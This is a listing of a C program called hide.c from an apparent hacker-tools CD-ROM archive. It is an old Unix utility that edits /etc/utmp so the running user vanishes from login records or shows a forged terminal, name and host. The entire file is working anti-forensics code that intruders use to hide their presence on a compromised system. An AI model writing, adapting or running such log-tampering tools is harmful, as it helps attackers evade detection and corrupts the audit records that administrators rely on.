home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / hide.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  2.6 KB  |  86 lines

  1. /* hide.c */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <utmp.h>
  6. #include <pwd.h>
  7.  
  8. #define UTMPFILE        "/etc/utmp"
  9.  
  10.         FILE    *utmpfile;
  11.         char    *utmp_tmp[10240];
  12.  
  13. main (argc, argv)
  14.         int     argc;
  15.         char    *argv[];
  16. {
  17.  
  18.         struct  utmp    *user_slot;
  19.         struct  passwd  *pwd;
  20.         char    line[10], name[10], host[20];
  21.         int     index;
  22.  
  23.         printf ("Welcome to HIDE !        FORMAT:  hide [-i]\n\n");
  24.         utmpfile = fopen (UTMPFILE, "r+");
  25.         if (utmpfile == NULL)
  26.         {
  27.                 printf ("ERROR while opening utmp file... exiting...\n");
  28.                 exit ();
  29.         }
  30.         index = ttyslot();                                              /* Get this users utmp index */
  31.         index *= sizeof(struct utmp);   /* 36 */
  32.         fseek(utmpfile, index, 0);
  33. /****  Get real UID  ****/
  34.         pwd = getpwuid (getuid());
  35.         if (pwd == NULL)
  36.                 printf ("Who the hell are you???");
  37.         else
  38.         {
  39.         printf ("Real user identity:\n");
  40.         printf ("NAME  %s\n", pwd->pw_name);
  41.         printf (" UID  %d\n", pwd->pw_uid);
  42.         printf (" GID  %d\n\n", pwd->pw_gid);
  43.         }
  44. /****  If ARG1 = "-i" then disappear from utmp  ****/
  45.         if ( (argc>1) && (!strcmp(argv[1], "-i")) )
  46.         {
  47.         index+=8;       /* Rel PNT name */
  48.         fseek(utmpfile, index, 0);
  49.         fwrite ("\000", 8, 1, utmpfile);        /* NO NAME */
  50.         fwrite ("\000", 8, 1, utmpfile);        /* NO HOST */
  51.         fclose(utmpfile);
  52.         printf ("Removed from utmp\n");
  53.         exit();
  54.         }
  55. /****  Change utmp data  ****/
  56.         printf ("Enter new data or return for default:\n");
  57.         fseek(utmpfile, index, 0);      /* Reset file PNT */
  58.         fread(line, 8, 1, utmpfile);    line[8]=NULL;
  59.         fread(name, 8, 1, utmpfile);    name[8]=NULL;
  60.         fread(host, 16, 1, utmpfile);   host[16]=NULL;
  61.         fseek(utmpfile, index, 0);      /* Reset file PNT */
  62.         dinput (" TTY  [%s]%s", line, 8);
  63.         dinput ("NAME  [%s]%s", name, 8);
  64.         dinput ("HOST  [%s]%s", host, 16);
  65.         fclose(utmpfile);
  66. }
  67.  
  68. /* Data input */
  69. dinput (prompt, string, size)
  70.         char    *prompt;
  71.         char    *string;
  72.         int     size;
  73. {
  74.         char    input[80];
  75.         char    *stat;
  76.         char    space[] = "                              ";
  77.  
  78.         space[20-strlen(string)] = '\000';
  79.         printf (prompt, string, space);
  80.         stat = gets (input);
  81.         if (strlen(input) > 0)
  82.                 fwrite (input, size, 1, utmpfile);
  83.         else
  84.                 fseek (utmpfile, size, 1);
  85. }
  86.